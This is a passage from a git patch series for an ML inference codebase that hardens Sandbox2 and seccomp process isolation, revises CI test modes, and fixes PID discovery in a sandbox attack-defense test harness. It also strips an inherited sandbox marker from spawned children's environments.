BOOST_REQUIRE_EQUAL(true, installed.s_Attempted); + BOOST_REQUIRE_EQUAL(static_cast(EDegradedModeAction::E_ContinueDespiteFailure), + static_cast(installed.s_Action)); + BOOST_REQUIRE_EQUAL( + std::string("{\"ml_sandbox2_route\":\"legacy\",\"event\":\"seccomp_installed\"}"), + installed.s_AttestationMarker); + + const ESystemCallFilterInstallOutcome failureModes[]{ + ESystemCallFilterInstallOutcome::E_MechanismUnavailable, + ESystemCallFilterInstallOutcome::E_PrivilegeRestrictionFailed, + ESystemCallFilterInstallOutcome::E_FilterInstallFailed}; + + for (const auto outcome : failureModes) { + const auto failed = + applyInProcessSeccompFilter(false, true, [outcome] { return outcome; }); + BOOST_REQUIRE_EQUAL(true, failed.s_Attempted); + BOOST_REQUIRE_EQUAL(static_cast(EDegradedModeAction::E_TerminateBeforeIo), + static_cast(failed.s_Action)); + // A failed install attests nothing, exactly as before. + BOOST_TEST_REQUIRE(failed.s_AttestationMarker.empty()); + } +} + BOOST_AUTO_TEST_SUITE_END() From 3f43a2543cad3222ba347d4081b0737bd0ba8893 Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Wed, 9 Sep 2026 23:22:33 +0200 Subject: [PATCH 12/36] [ML] PR E review: V14 PID discovery via controller log; one CI mode per arch Final whole-branch review fixes 4 and 8, plus the fix-wave report. - test_sandbox2_attack_defense.py discovered the child PID by filtering /proc on PPid == controller pid, but the Sandbox2 sandboxee is a child of the forkserver, not of the controller, so every sandboxed case failed at PID discovery and only the unsandboxed control could pass. PID now comes from the "Spawned ... with PID" line both spawners already log on the controller's log pipe, scoped per case by the existing log-offset mechanism - one mechanism for every case. - run_tests.sh ran both ML_SANDBOX2_REQUIRE=enforced and =fail_closed on the same aarch64 host/kernel, asserting mutually exclusive outcomes, so exactly one pass always failed. aarch64 now runs enforced only, matching H3 ("aarch64 enforced (pinned); x86_64 fail-closed"); the x86_64 branch keeps fail_closed and drops its single-element loop. --- .buildkite/scripts/steps/run_tests.sh | 81 ++++++++++---------- test/test_sandbox2_attack_defense.py | 104 ++++++++++++++------------ 2 files changed, 97 insertions(+), 88 deletions(-) diff --git a/.buildkite/scripts/steps/run_tests.sh b/.buildkite/scripts/steps/run_tests.sh index 53485ebc02..e4f8c57135 100755 --- a/.buildkite/scripts/steps/run_tests.sh +++ b/.buildkite/scripts/steps/run_tests.sh @@ -51,46 +51,45 @@ if [[ "$HARDWARE_ARCH" = aarch64 && -z "${CPP_CROSS_COMPILE:-}" && "$(uname)" = # --- Linux aarch64: run tests inside Docker container from base image --- # aarch64 Buildkite k8s pods are the only runners here with userns # capability (mount("proc", ...) succeeds), so this is the only branch - # that can exercise ML_SANDBOX2_REQUIRE=enforced. It also runs - # fail_closed as a second pass so both the enforced-capable and - # fail-closed-required behaviors get distinct, separately-reported CI - # coverage rather than only one being proven per architecture. - SANDBOX2_REQUIRE_MODES=(enforced fail_closed) + # that can exercise ML_SANDBOX2_REQUIRE=enforced - and it runs *only* + # that mode (H3: "aarch64 enforced (pinned); x86_64 fail-closed"). A + # second fail_closed pass on this same host/kernel would assert the + # absence of the very userns capability the enforced pass just proved + # present, so exactly one of the two could ever pass. + export ML_SANDBOX2_REQUIRE=enforced BASE_IMAGE="docker.elastic.co/ml-dev/ml-linux-aarch64-native-build:17" . ./dev-tools/docker/prefetch_docker_image.sh prefetch_docker_image "$BASE_IMAGE" - for MODE in "${SANDBOX2_REQUIRE_MODES[@]}"; do - echo "--- Running tests (Docker, ML_SANDBOX2_REQUIRE=${MODE})" - docker run --rm \ - -v "$(pwd)/${BUILD_DIR}:/ml-cpp/${BUILD_DIR}" \ - -v "$(pwd)/build:/ml-cpp/build" \ - -v "$(pwd)/lib:/ml-cpp/lib" \ - -v "$(pwd)/bin:/ml-cpp/bin" \ - -v "$(pwd)/cmake:/ml-cpp/cmake:ro" \ - -v "$(pwd)/set_env.sh:/ml-cpp/set_env.sh:ro" \ - -v "$(pwd)/gradle.properties:/ml-cpp/gradle.properties:ro" \ - -e BOOST_TEST_OUTPUT_FORMAT_FLAGS="${BOOST_TEST_OUTPUT_FORMAT_FLAGS:-}" \ - -e ML_SANDBOX2_REQUIRE="${MODE}" \ - ${TEST_TIMEOUT:+-e TEST_TIMEOUT="${TEST_TIMEOUT}"} \ - -w /ml-cpp \ - $BASE_IMAGE bash -c ' - source ./set_env.sh - - LIB_DIRS=$(find /ml-cpp/cmake-build-docker/lib /ml-cpp/build/distribution \ - -name "*.so" -exec dirname {} \; 2>/dev/null | sort -u | tr "\n" ":") - export LD_LIBRARY_PATH="${LIB_DIRS}/usr/local/gcc133/lib64:/usr/local/gcc133/lib" - - chmod -R +x cmake-build-docker/test/ 2>/dev/null - - cmake \ - -DSOURCE_DIR=/ml-cpp \ - -DBUILD_DIR=/ml-cpp/cmake-build-docker \ - -P cmake/run-all-tests-parallel.cmake - ' || TEST_OUTCOME=$? - done + echo "--- Running tests (Docker, ML_SANDBOX2_REQUIRE=${ML_SANDBOX2_REQUIRE})" + docker run --rm \ + -v "$(pwd)/${BUILD_DIR}:/ml-cpp/${BUILD_DIR}" \ + -v "$(pwd)/build:/ml-cpp/build" \ + -v "$(pwd)/lib:/ml-cpp/lib" \ + -v "$(pwd)/bin:/ml-cpp/bin" \ + -v "$(pwd)/cmake:/ml-cpp/cmake:ro" \ + -v "$(pwd)/set_env.sh:/ml-cpp/set_env.sh:ro" \ + -v "$(pwd)/gradle.properties:/ml-cpp/gradle.properties:ro" \ + -e BOOST_TEST_OUTPUT_FORMAT_FLAGS="${BOOST_TEST_OUTPUT_FORMAT_FLAGS:-}" \ + -e ML_SANDBOX2_REQUIRE="${ML_SANDBOX2_REQUIRE}" \ + ${TEST_TIMEOUT:+-e TEST_TIMEOUT="${TEST_TIMEOUT}"} \ + -w /ml-cpp \ + $BASE_IMAGE bash -c ' + source ./set_env.sh + + LIB_DIRS=$(find /ml-cpp/cmake-build-docker/lib /ml-cpp/build/distribution \ + -name "*.so" -exec dirname {} \; 2>/dev/null | sort -u | tr "\n" ":") + export LD_LIBRARY_PATH="${LIB_DIRS}/usr/local/gcc133/lib64:/usr/local/gcc133/lib" + + chmod -R +x cmake-build-docker/test/ 2>/dev/null + + cmake \ + -DSOURCE_DIR=/ml-cpp \ + -DBUILD_DIR=/ml-cpp/cmake-build-docker \ + -P cmake/run-all-tests-parallel.cmake + ' || TEST_OUTCOME=$? # Seccomp tests run inside the Docker container which shares the host # kernel, so the kernel's seccomp filters are exercised without needing @@ -104,7 +103,7 @@ else # also covers aarch64 cross-compile builds, which fall through to this # same branch via the "-z ${CPP_CROSS_COMPILE:-}" condition above, so # they get fail_closed coverage too rather than being skipped entirely. - SANDBOX2_REQUIRE_MODES=(fail_closed) + export ML_SANDBOX2_REQUIRE=fail_closed . ./set_env.sh @@ -120,13 +119,11 @@ else export DYLD_LIBRARY_PATH="${LIB_DIRS}${DYLD_LIBRARY_PATH:+:$DYLD_LIBRARY_PATH}" fi - for MODE in "${SANDBOX2_REQUIRE_MODES[@]}"; do - echo "--- Running tests (ML_SANDBOX2_REQUIRE=${MODE})" - ML_SANDBOX2_REQUIRE="${MODE}" cmake \ - -DSOURCE_DIR="$(pwd)" \ - -DBUILD_DIR="$(pwd)/${BUILD_DIR}" \ - -P cmake/run-all-tests-parallel.cmake || TEST_OUTCOME=$? - done + echo "--- Running tests (ML_SANDBOX2_REQUIRE=${ML_SANDBOX2_REQUIRE})" + cmake \ + -DSOURCE_DIR="$(pwd)" \ + -DBUILD_DIR="$(pwd)/${BUILD_DIR}" \ + -P cmake/run-all-tests-parallel.cmake || TEST_OUTCOME=$? fi # Upload test results diff --git a/test/test_sandbox2_attack_defense.py b/test/test_sandbox2_attack_defense.py index 5bac7fc24b..d85446f3c2 100644 --- a/test/test_sandbox2_attack_defense.py +++ b/test/test_sandbox2_attack_defense.py @@ -254,54 +254,56 @@ def _parse_json_objects(new_content): def pid_alive(pid): - """Best-effort liveness check via /proc - works for the sandboxed child - even though it lives in its own PID namespace, because Sandbox2 forks it - directly from a monitor thread inside the controller process, so it is - always visible under its real host PID from the host's own /proc.""" + """Best-effort liveness check via /proc. Works for the Sandbox2 sandboxee + too: it runs in its own PID namespace but is still visible under its real + host PID in the host's own /proc, which is the PID the controller logs and + the PID the controller's own registry keys kill/reap on.""" return os.path.exists(f'/proc/{pid}') -def find_child_pid(parent_pid, exe_name, not_before, timeout=PID_DISCOVERY_TIMEOUT): - """Find a process whose PPid is parent_pid and whose comm matches - exe_name, created no earlier than not_before (a time.time() value). - - This is the only way to learn the sandboxed child's PID: the controller - protocol's 'start' response never returns one (see - bin/controller/CCommandProcessor.cc handleStart()), so per-case - kill/reap cleanup assertions (Oracle rule #5) have to discover it - out-of-band the same way an operator debugging a stuck deployment would. +#! Both spawner backends log the child's host PID on a successful spawn, and +#! both lines are captured on the controller's log pipe: +#! lib/sandbox/CSandboxedProcessSpawner_Linux.cc +#! LOG_INFO(<< "Spawned sandboxed process " << processPath << " with PID " << sandboxPid) +#! lib/core/CDetachedProcessSpawner.cc +#! LOG_DEBUG(<< "Spawned '" << processPath << "' with PID " << childPid) +SPAWNED_PID_RE = re.compile( + r"Spawned (?:sandboxed process )?'?(?P[^'\s]+)'? with PID (?P\d+)") + + +def find_child_pid(controller, process_path, since_offset, timeout=PID_DISCOVERY_TIMEOUT): + """Discover the child's host PID by parsing the controller's own log + output, scoped to the bytes appended since since_offset (the offset taken + immediately before the 'start' command was sent). + + Why not /proc PPid filtering: the Sandbox2 sandboxee is *not* a direct + child of the controller process - it is forked by the Sandbox2 forkserver + (see lib/sandbox/CSandboxedProcessSpawner_Linux.cc), so a + `PPid == controller.process.pid` filter never matches on the sandboxed + route and every sandboxed case would fail at PID discovery. Only the + unsandboxed control (a real CDetachedProcessSpawner posix_spawn child) + would ever pass such a filter. + + The controller's 'start' response carries no PID (see + bin/controller/CCommandProcessor.cc handleStart()), so the log line each + spawner already emits is the discovery channel - the same one an operator + debugging a stuck deployment reads. Deliberately uniform across both + routes: one mechanism, exercised by every case including the control. """ + log_path = controller.control_dir / 'controller_log_output.txt' deadline = time.time() + timeout - comm_target = exe_name[:15] # /proc//comm truncates to TASK_COMM_LEN-1 - while time.time() < deadline: - try: - pid_entries = [p for p in os.listdir('/proc') if p.isdigit()] - except OSError: - pid_entries = [] - for pid_str in pid_entries: - try: - with open(f'/proc/{pid_str}/status') as f: - status = f.read() - except OSError: - continue - match = re.search(r'^PPid:\s*(\d+)', status, re.MULTILINE) - if match is None or int(match.group(1)) != parent_pid: - continue - try: - with open(f'/proc/{pid_str}/comm') as f: - comm = f.read().strip() - except OSError: - continue - if comm != comm_target: - continue - try: - ctime = os.stat(f'/proc/{pid_str}').st_ctime - except OSError: - ctime = time.time() - if ctime >= not_before - 1: - return int(pid_str) + while True: + pid = None + for match in SPAWNED_PID_RE.finditer(_read_new_content(log_path, since_offset)): + if match.group('path') == process_path: + # Last match wins: within one case only one start command is + # issued, but a retry would append a newer line. + pid = int(match.group('pid')) + if pid is not None: + return pid + if time.time() >= deadline: + return None time.sleep(0.1) - return None def tail_contains(path, needle, deadline): @@ -535,6 +537,12 @@ def kill_pid(self, command_id, pid, timeout=CONTROLLER_RESPONSE_TIMEOUT): CSandboxedProcessSpawner::terminateChild()).""" return self.send_command_and_wait(command_id, 'kill', [str(pid)], timeout=timeout) + def log_offset(self): + """Current size of the captured controller log, for scoping a later + find_child_pid() scan to one command's own output.""" + log_file = self.control_dir / 'controller_log_output.txt' + return log_file.stat().st_size if log_file.exists() else 0 + def check_controller_logs(self, max_lines=50): log_file = self.control_dir / 'controller_log_output.txt' if not log_file.exists(): @@ -772,7 +780,10 @@ def run_pytorch_case(controller, pytorch_bin, model_path, tmp_base, command_id, pid = None try: - launch_start = time.time() + # Taken before the start command so find_child_pid() only ever sees + # this case's own "Spawned ... with PID" line, never a previous + # case's. + log_offset = controller.log_offset() cmd_args = [ f'./{pytorch_name}', f'--restore={restore_path}', @@ -800,11 +811,12 @@ def run_pytorch_case(controller, pytorch_bin, model_path, tmp_base, command_id, return result, reached, target_file_created, response, leaked_address_seen, pid result.info(f"Controller accepted start: {response.get('reason')}") - pid = find_child_pid(controller.process.pid, pytorch_name, launch_start) + pid = find_child_pid(controller, f'./{pytorch_name}', log_offset) if pid is None: result.fail( - "Could not discover pytorch_inference child PID under /proc within " - f"{PID_DISCOVERY_TIMEOUT}s of a successful start response") + "Could not discover pytorch_inference child PID from the controller's " + f"'Spawned ... with PID' log line within {PID_DISCOVERY_TIMEOUT}s of a " + "successful start response") else: result.info(f"Discovered child PID: {pid}") From aa339d41041f116e755f5411fcb36235518722ce Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Wed, 9 Sep 2026 23:53:53 +0200 Subject: [PATCH 13/36] [ML] PR E review: strip ML_SANDBOXED from legacy children; keep hard terminate dormant Two fail-open/regression fixes uncovered by re-reviewing the ship-dormant change: * CDetachedProcessSpawner now builds the child's environment from environ with any exact-name ML_SANDBOXED entry removed, instead of passing environ through unfiltered. pytorch_inference skips its mandatory in-process seccomp filter when it sees ML_SANDBOXED=1, so an inherited or injected marker in the controller's environment would have silently left a legacy-route child with no security boundary at all. CSystemCallFilter.h's comment claimed this stripping already happened; it now points at the implementation that performs it. * TERMINATE_ON_DEGRADED_SECCOMP_FAILURE goes back to false. Its justification was that a degraded launch is only reachable via an explicit --disableSandbox token, which stopped being true once the no-token default became the legacy route: every ordinary launch would exit EXIT_FAILURE wherever in-process seccomp installation fails. The comment now records that activation belongs with the change that stops legacy being the default. The decideDegradedModeAction() fault-injection tests pass the bool explicitly and are unchanged. --- bin/pytorch_inference/Main.cc | 39 +++++++--- include/core/CDetachedProcessSpawner.h | 22 ++++++ include/seccomp/CSystemCallFilter.h | 22 ++++-- lib/core/CDetachedProcessSpawner.cc | 46 +++++++++++- .../unittest/CDetachedProcessSpawnerTest.cc | 74 +++++++++++++++++++ 5 files changed, 185 insertions(+), 18 deletions(-) diff --git a/bin/pytorch_inference/Main.cc b/bin/pytorch_inference/Main.cc index 0648786e97..d313e11637 100644 --- a/bin/pytorch_inference/Main.cc +++ b/bin/pytorch_inference/Main.cc @@ -296,13 +296,32 @@ int main(int argc, char** argv) { // Reduce memory priority before installing system call filters. ml::core::CProcessPriority::reduceMemoryPriority(); - // Internal switch now enabled: CProcessSpawnerRouter (Task 2) guarantees - // that a degraded-mode (no-Sandbox2) launch is never an accidental - // fallback from a failed Sandbox2 attempt, only ever an explicit - // --disableSandbox route decision by the controller. This invariant makes - // termination on seccomp failure safe: a failed degraded launch is always - // an operator choice, never an unintended execution path. - constexpr bool TERMINATE_ON_DEGRADED_SECCOMP_FAILURE{true}; + // Internal switch, deliberately still OFF (log-and-continue on a failed + // in-process seccomp installation, exactly as before typed routing). + // + // Turning it on is only safe once a degraded/legacy-route launch is + // guaranteed to be a deliberate decision rather than the production + // default. CProcessSpawnerRouter (Task 2) supplies half of that + // guarantee - it never falls back to the legacy spawner after a failed + // Sandbox2 attempt - but the controller currently *defaults* the + // no-token case to the legacy route while ML_SANDBOX2_DEFAULT_ENFORCED + // is off (the shipped, dormant state; see + // bin/controller/CCommandProcessor.cc). So during the dormant window + // every ordinary pytorch_inference launch is a degraded-route launch, + // and terminating on seccomp-install failure would fail every launch on + // a host lacking usable seccomp BPF (restricted containers, some CI + // images) with no operator fallback setting to select instead - a + // regression on exactly the launches the dormant window must leave + // untouched. + // + // Activate this together with the change that stops the legacy route + // being the default - i.e. when this constant is tied to the same + // ML_SANDBOX2_DEFAULT_ENFORCED-style gating, or when the Elasticsearch + // operator setting lands and flips the default to Sandbox2. At that + // point a degraded launch really is only ever reachable via an + // explicit, controller-validated --disableSandbox token, which is what + // makes hard termination safe. + constexpr bool TERMINATE_ON_DEGRADED_SECCOMP_FAILURE{false}; // The in-process filter belongs to the legacy/non-sandboxed route only. // On the Sandbox2 route the executor's own policy is already the @@ -310,9 +329,9 @@ int main(int argc, char** argv) { // and degraded-mode contract point 5), so the whole step - install, // degraded-mode decision, attestation marker - is skipped. Attempting // it from inside an already-sandboxed environment would either fail - // (terminating every enforced-route launch, now that hard termination - // above is active) or succeed and emit the legacy-route attestation - // marker on a launch the controller's H4 signal reports as + // (which would terminate every enforced-route launch once hard + // termination above is activated) or succeed and emit the legacy-route + // attestation marker on a launch the controller's H4 signal reports as // "route":"sandbox2". const bool sandbox2Launched{ml::seccomp::sandbox2LaunchedChild()}; const ml::seccomp::SInProcessFilterResult seccompResult{ml::seccomp::applyInProcessSeccompFilter( diff --git a/include/core/CDetachedProcessSpawner.h b/include/core/CDetachedProcessSpawner.h index 9d9bd1d98c..477f9a8725 100644 --- a/include/core/CDetachedProcessSpawner.h +++ b/include/core/CDetachedProcessSpawner.h @@ -22,6 +22,28 @@ namespace ml { namespace core { namespace detail { class CTrackerThread; + +#ifndef Windows +//! \return true if \p entry (a "NAME=VALUE" environment entry, or nullptr) is +//! one this class must never pass on to a spawned child. +//! +//! Today that is exactly \c ML_SANDBOXED, the Sandbox2 sandboxee marker set +//! by lib/sandbox/CSandboxedProcessSpawner_Linux.cc. A child spawned by +//! CDetachedProcessSpawner is never inside Sandbox2, and pytorch_inference +//! skips its own mandatory in-process seccomp filter when it sees +//! \c ML_SANDBOXED=1 (see include/seccomp/CSystemCallFilter.h +//! sandbox2LaunchedChild()), so inheriting the marker would fail open. +//! Matched on the exact name: \c ML_SANDBOXED_ANYTHING is not stripped. +//! Exposed for unit testing; not part of this class's public contract. +CORE_EXPORT bool isStrippedChildEnvEntry(const char* entry); + +//! Build the environment array handed to \c posix_spawn() from +//! \p parentEnvironment (normally \c environ): every entry for which +//! isStrippedChildEnvEntry() is false, in order, then a NULL terminator. The +//! returned pointers alias \p parentEnvironment's own strings - no copies - +//! so the result must not outlive it. Exposed for unit testing. +CORE_EXPORT std::vector buildChildEnvironment(char** parentEnvironment); +#endif } //! \brief diff --git a/include/seccomp/CSystemCallFilter.h b/include/seccomp/CSystemCallFilter.h index 3fea251a86..584e754532 100644 --- a/include/seccomp/CSystemCallFilter.h +++ b/include/seccomp/CSystemCallFilter.h @@ -90,11 +90,15 @@ enum class EDegradedModeAction { //! launch was a deliberate operator choice would fail every launch on a //! host lacking seccomp BPF, with no operator fallback setting to select //! instead. It is only safe to pass true where a degraded-mode launch is -//! guaranteed to be a deliberate route decision rather than an accidental -//! fallback from a failed Sandbox2 attempt; bin/controller's -//! CProcessSpawnerRouter provides that guarantee (it never retries a failed -//! Sandbox2 spawn through the legacy spawner), which is why -//! bin/pytorch_inference/Main.cc passes true. This decision only ever +//! guaranteed to be a deliberate route decision rather than the production +//! default. bin/controller's CProcessSpawnerRouter provides half of that +//! guarantee (it never retries a failed Sandbox2 spawn through the legacy +//! spawner), but while CCommandProcessor's no-token default is still the +//! legacy route - the shipped, dormant state, gated on +//! ML_SANDBOX2_DEFAULT_ENFORCED - an ordinary launch *is* a degraded-route +//! launch, so bin/pytorch_inference/Main.cc passes false. See the comment +//! at TERMINATE_ON_DEGRADED_SECCOMP_FAILURE there for when it flips. +//! This decision only ever //! applies to a launch that installs its own in-process filter at all - see //! sandbox2LaunchedChild() and applyInProcessSeccompFilter() below. inline EDegradedModeAction decideDegradedModeAction(ESystemCallFilterInstallOutcome outcome, @@ -130,8 +134,12 @@ inline std::string degradedModeAttestationMarker(ESystemCallFilterInstallOutcome //! design.md §Routing and degraded-mode contract point 5: pytorch_inference //! skips in-process seccomp only when ML_SANDBOXED is *exactly* "1", the //! value CSandboxedProcessSpawner_Linux.cc sets on a Sandbox2-launched -//! child (and which CDetachedProcessSpawner strips from every legacy-route -//! child's environment). Any other value - unset, "", "0", "true", "10" - +//! child. It is stripped from every legacy-route child's environment by +//! lib/core/CDetachedProcessSpawner.cc (detail::buildChildEnvironment(), +//! declared in include/core/CDetachedProcessSpawner.h), so an inherited or +//! injected ML_SANDBOXED in the controller's own environment can never +//! suppress a legacy-route child's mandatory in-process filter. Any other +//! value - unset, "", "0", "true", "10" - //! is a legacy/non-sandboxed launch that must install its own filter. inline bool sandbox2LaunchedChild(const char* mlSandboxedEnv) { return mlSandboxedEnv != nullptr && std::string{mlSandboxedEnv} == "1"; diff --git a/lib/core/CDetachedProcessSpawner.cc b/lib/core/CDetachedProcessSpawner.cc index 795fc9e56e..1ec2f0b17f 100644 --- a/lib/core/CDetachedProcessSpawner.cc +++ b/lib/core/CDetachedProcessSpawner.cc @@ -38,6 +38,11 @@ namespace { //! Maximum number of newly opened files between calls to setupFileActions(). const int MAX_NEW_OPEN_FILES{10}; +//! Environment variable name (without '=') that must never be inherited by a +//! child spawned by this class. See +//! ml::core::detail::isStrippedChildEnvEntry(). +const char* SANDBOXEE_MARKER_ENV_NAME{"ML_SANDBOXED"}; + //! Attempt to close all file descriptors except the standard ones. The //! standard file descriptors will be reopened on /dev/null in the spawned //! process. Returns false and sets errno if the actions cannot be initialised @@ -86,6 +91,31 @@ namespace ml { namespace core { namespace detail { +bool isStrippedChildEnvEntry(const char* entry) { + if (entry == nullptr) { + return false; + } + const std::size_t nameLength{::strlen(SANDBOXEE_MARKER_ENV_NAME)}; + // Exact name match only: "ML_SANDBOXED=..." is stripped, + // "ML_SANDBOXED_FOO=..." (a different variable that merely shares the + // prefix) is not. + return ::strncmp(entry, SANDBOXEE_MARKER_ENV_NAME, nameLength) == 0 && + entry[nameLength] == '='; +} + +std::vector buildChildEnvironment(char** parentEnvironment) { + std::vector childEnvironment; + if (parentEnvironment != nullptr) { + for (char** entry = parentEnvironment; *entry != nullptr; ++entry) { + if (isStrippedChildEnvEntry(*entry) == false) { + childEnvironment.push_back(*entry); + } + } + } + childEnvironment.push_back(static_cast(nullptr)); + return childEnvironment; +} + class CTrackerThread : public CThread { public: using TPidSet = std::set; @@ -287,6 +317,20 @@ bool CDetachedProcessSpawner::spawn(const std::string& processPath, } ::posix_spawnattr_setflags(&spawnAttributes, POSIX_SPAWN_SETPGROUP); + // The child inherits this process's environment with ML_SANDBOXED + // removed. That variable is the Sandbox2 sandboxee marker + // (lib/sandbox/CSandboxedProcessSpawner_Linux.cc sets ML_SANDBOXED=1 on + // the children it launches) and pytorch_inference skips its mandatory + // in-process seccomp filter when it sees ML_SANDBOXED=1 + // (include/seccomp/CSystemCallFilter.h sandbox2LaunchedChild()). A child + // spawned here is by definition *not* inside Sandbox2, so inheriting the + // marker - however it got into this process's own environment, e.g. + // injected by an orchestration layer - would fail open: the child would + // run untrusted model code with neither the executor policy nor its own + // filter. Stripping it here makes the legacy route's filter installation + // unconditional regardless of the spawning process's environment. + std::vector childEnvironment{detail::buildChildEnvironment(environ)}; + { // Hold the tracker thread mutex until the PID is added to the tracker // to avoid a race condition if the process is started but dies really @@ -294,7 +338,7 @@ bool CDetachedProcessSpawner::spawn(const std::string& processPath, CScopedLock lock(m_TrackerThread->mutex()); int err(::posix_spawn(&childPid, processPath.c_str(), &fileActions, - &spawnAttributes, &argv[0], environ)); + &spawnAttributes, &argv[0], &childEnvironment[0])); ::posix_spawn_file_actions_destroy(&fileActions); ::posix_spawnattr_destroy(&spawnAttributes); diff --git a/lib/core/unittest/CDetachedProcessSpawnerTest.cc b/lib/core/unittest/CDetachedProcessSpawnerTest.cc index 25cbe4563c..f3a64a6093 100644 --- a/lib/core/unittest/CDetachedProcessSpawnerTest.cc +++ b/lib/core/unittest/CDetachedProcessSpawnerTest.cc @@ -11,14 +11,19 @@ #include #include +#include #include +#include #include #include #include #include +#include +#include #include +#include BOOST_AUTO_TEST_SUITE(CDetachedProcessSpawnerTest) @@ -123,4 +128,73 @@ BOOST_AUTO_TEST_CASE(testNonExistent) { "./does_not_exist", ml::core::CDetachedProcessSpawner::TStrVec())); } +#ifndef Windows +BOOST_AUTO_TEST_CASE(testMlSandboxedStrippedFromChildEnvironment) { + // ML_SANDBOXED=1 is the Sandbox2 sandboxee marker + // (lib/sandbox/CSandboxedProcessSpawner_Linux.cc) and pytorch_inference + // skips its mandatory in-process seccomp filter when it sees it + // (include/seccomp/CSystemCallFilter.h sandbox2LaunchedChild()). A child + // spawned by this class is never inside Sandbox2, so it must never + // inherit the marker - not even when the spawning process's own + // environment carries it. + BOOST_REQUIRE_EQUAL(0, ml::core::CSetEnv::setEnv("ML_SANDBOXED", "1", 1)); + BOOST_REQUIRE_EQUAL(0, ml::core::CSetEnv::setEnv("ML_SANDBOXED_KEEP_ME", "1", 1)); + + // Pure form: the array handed to posix_spawn() drops ML_SANDBOXED, + // keeps everything else in order, and is NULL terminated. Exact-name + // match only, so a different variable sharing the prefix survives. + { + std::vector parentEntries{"PATH=/bin", "ML_SANDBOXED=1", + "ML_SANDBOXED_KEEP_ME=1", "TMPDIR=/tmp"}; + std::vector parentEnv; + for (auto& entry : parentEntries) { + parentEnv.push_back(const_cast(entry.c_str())); + } + parentEnv.push_back(static_cast(nullptr)); + + auto childEnv = ml::core::detail::buildChildEnvironment(&parentEnv[0]); + BOOST_REQUIRE_EQUAL(std::size_t(4), childEnv.size()); + BOOST_REQUIRE_EQUAL(std::string("PATH=/bin"), std::string(childEnv[0])); + BOOST_REQUIRE_EQUAL(std::string("ML_SANDBOXED_KEEP_ME=1"), std::string(childEnv[1])); + BOOST_REQUIRE_EQUAL(std::string("TMPDIR=/tmp"), std::string(childEnv[2])); + BOOST_REQUIRE_EQUAL(static_cast(nullptr), childEnv[3]); + } + + BOOST_REQUIRE_EQUAL(true, ml::core::detail::isStrippedChildEnvEntry("ML_SANDBOXED=1")); + BOOST_REQUIRE_EQUAL(true, ml::core::detail::isStrippedChildEnvEntry("ML_SANDBOXED=")); + BOOST_REQUIRE_EQUAL(false, ml::core::detail::isStrippedChildEnvEntry("ML_SANDBOXED_KEEP_ME=1")); + BOOST_REQUIRE_EQUAL(false, ml::core::detail::isStrippedChildEnvEntry("ML_SANDBOX=1")); + BOOST_REQUIRE_EQUAL(false, ml::core::detail::isStrippedChildEnvEntry(nullptr)); + + // End to end: a real spawned child reports what it actually inherited. + // Its stdout is redirected to /dev/null by the spawner, so the shell + // writes the value to a file instead. + const std::string envDumpFile{"child_ml_sandboxed.txt"}; + std::remove(envDumpFile.c_str()); + + const std::string shell{"/bin/sh"}; + ml::core::CDetachedProcessSpawner::TStrVec permittedPaths(1, shell); + ml::core::CDetachedProcessSpawner spawner(permittedPaths); + + ml::core::CDetachedProcessSpawner::TStrVec args{ + "-c", "echo \"[${ML_SANDBOXED-unset}][${ML_SANDBOXED_KEEP_ME-unset}]\" > " + envDumpFile}; + BOOST_TEST_REQUIRE(spawner.spawn(shell, args)); + + std::string dumped; + for (int attempt = 0; attempt < 20 && dumped.empty(); ++attempt) { + std::this_thread::sleep_for(std::chrono::milliseconds(100)); + std::ifstream ifs{envDumpFile}; + if (ifs.is_open()) { + std::getline(ifs, dumped); + } + } + + BOOST_REQUIRE_EQUAL(std::string("[unset][1]"), dumped); + + std::remove(envDumpFile.c_str()); + ml::core::CUnSetEnv::unSetEnv("ML_SANDBOXED"); + ml::core::CUnSetEnv::unSetEnv("ML_SANDBOXED_KEEP_ME"); +} +#endif // !Windows + BOOST_AUTO_TEST_SUITE_END() From 55628c47e334de906249d2c67c7e7192218e4cf2 Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Wed, 9 Sep 2026 23:54:03 +0200 Subject: [PATCH 14/36] [ML] PR E review: H4 legacy_reason field; V14 harness asserts its route * Adds an additive legacy_reason field to the sandbox2_launch signal, emitted only when route == "legacy" and omitted entirely (never "", never null) on route == "sandbox2" - i.e. absent for both enforced and fail_closed. mode == "degraded" alone cannot tell a deliberate --disableSandbox kill switch from the dormant default that holds for the whole rollout window, during which every ordinary launch is degraded. CCommandProcessor passes the provenance it already knows from deciding the route; the router still never derives it from args. No existing field or its semantics change. * The V14 attack-defense harness starts the controller with ML_SANDBOX2_DEFAULT_ENFORCED=1 and asserts, from each launch's own H4 signal and before any target-file assertion, that the case took the route it means to test. Its "sandboxed" cases send a plain start with no token, so with the dormant default they were routing to the legacy path and the negative assertion was being checked against a child that was never sandboxed. --- bin/controller/CCommandProcessor.cc | 9 ++- bin/controller/CProcessSpawnerRouter.cc | 33 ++++++++- bin/controller/CProcessSpawnerRouter.h | 22 +++++- .../unittest/CCommandProcessorTest.cc | 67 +++++++++++++++++ .../unittest/CProcessSpawnerRouterTest.cc | 71 ++++++++++++++++++ docs/sandbox2_production_failure_modes.md | 37 +++++++++- test/test_sandbox2_attack_defense.py | 73 +++++++++++++++++++ 7 files changed, 305 insertions(+), 7 deletions(-) diff --git a/bin/controller/CCommandProcessor.cc b/bin/controller/CCommandProcessor.cc index 239833c874..fa7a49fc6a 100644 --- a/bin/controller/CCommandProcessor.cc +++ b/bin/controller/CCommandProcessor.cc @@ -148,6 +148,11 @@ bool CCommandProcessor::handleStart(std::uint32_t id, TStrVec tokens) { const bool isConfiguredSandboxedPath{m_Spawner.isSandboxedProcessPath(processPath)}; CProcessSpawnerRouter::ERoute route{CProcessSpawnerRouter::ERoute::E_Sandbox2}; + // Provenance of a legacy route, recorded at the one place it is known so + // the router's H4 signal can report it as "legacy_reason". Stays + // E_NotLegacy for every E_Sandbox2 route, where the field is omitted. + CProcessSpawnerRouter::ELegacyReason legacyReason{ + CProcessSpawnerRouter::ELegacyReason::E_NotLegacy}; if (disableSandboxCount == 0) { // No token: the route is only a decision at all for a configured // sandboxed process path (every other permitted process dispatches @@ -163,6 +168,7 @@ bool CCommandProcessor::handleStart(std::uint32_t id, TStrVec tokens) { // operator-setting change, not this one. if (isConfiguredSandboxedPath && 